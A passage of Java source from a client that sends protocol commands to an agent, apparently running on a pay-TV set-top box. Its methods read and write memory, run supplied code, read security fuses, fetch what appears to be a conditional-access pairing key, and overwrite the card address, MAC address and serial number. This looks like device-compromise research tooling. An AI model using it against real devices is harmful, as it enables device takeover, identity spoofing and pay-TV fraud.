
  read_lines();
 }

 public void cmd_tkdcmd(int cmd) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDCMD);
  write_int(cmd);

  flush();

  read_lines();
 }

 public void cmd_tkdrun(int tkdcode[],int tkddata[]) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDRUN);

  int csize=tkdcode.length;

  write_int(csize);

  for(int i=0;i<csize;i++) {
   write_int(tkdcode[i]);
  }  

  int dsize=tkddata.length;

  write_int(dsize);

  for(int i=0;i<dsize;i++) {
   write_int(tkddata[i]);
  }  

  flush();

  read_lines();
 }

 public void cmd_tkdmem(int off,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDMEM);
  write_int(off);
  write_int(size);
  flush();

  byte data[]=read_buf();

  print_buf(data);
 }

 public void cmd_tkdpeek(int off,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  switch(size) {
   case 1:
    write_byte(Proto.CMD_TKDPEEK8);
    break;
   case 2:
    write_byte(Proto.CMD_TKDPEEK16);
    break;
   case 4:
    write_byte(Proto.CMD_TKDPEEK32);
    break;
  }
  write_int(off);

  flush();

  read_lines();
 }

 public void cmd_tkdpoke(int off,int val,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  switch(size) {
   case 1:
    write_byte(Proto.CMD_TKDPOKE8);
    break;
   case 2:
    write_byte(Proto.CMD_TKDPOKE16);
    break;
   case 4:
    write_byte(Proto.CMD_TKDPOKE32);
    break;
  }
  write_int(off);
  write_int(val);

  flush();

  read_lines();
 }

 public void cmd_iomem(int off,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_IOMEM);
  write_int(off);
  write_int(size);
  flush();

  byte data[]=read_buf();

  print_buf(data);
 }

 public void cmd_stbprops() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_STBPROPS);
  flush();

  read_lines();
 }

 public void cmd_isolate() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_ISOLATE);
  flush();

  read_lines();
 }

 public boolean cmd_scwatch(int action) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SCWATCH);
  write_int(action);
  flush();

  boolean status=read_boolean();

  if (action==SCWatchDefs.SC_STATUS) {
   if (status) outputln("SC watch is enabled");
    else outputln("SC watch is disabled");
  }

  return status;
 }

 public void cmd_nostbprops() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_NOSTBPROPS);

  flush();
 }

 public void cmd_stbprop(String prop,String val) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_STBPROP);
  write_string(prop);
  write_string(val);

  flush();
 }

 public void cmd_cardaddr(String addr) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CARDADDR);
  write_string(addr);

  flush();
 }

 public void cmd_macaddr(String addr) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_MACADDR);
  write_string(addr);

  flush();
 }

 public void cmd_serial(String sn) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SERIAL);
  write_string(sn);

  flush();
 }

 public void cmd_getcwpk() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_GETCWPK);

  flush();

  read_lines();
 }

 public void cmd_secfuses() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SECFUSES);

  flush();

  read_lines();
 }

 public void cmd_ivodurl(String url) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_IVODURL);

  if (url!=null) {
   write_boolean(true);
   write_string(url);
  } else {
   write_boolean(false);
  }

  flush();

  read_lines();
 }

 public void cmd_test(String str) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TEST);
  write_string(str);

  flush();

  read_lines();
 }
}
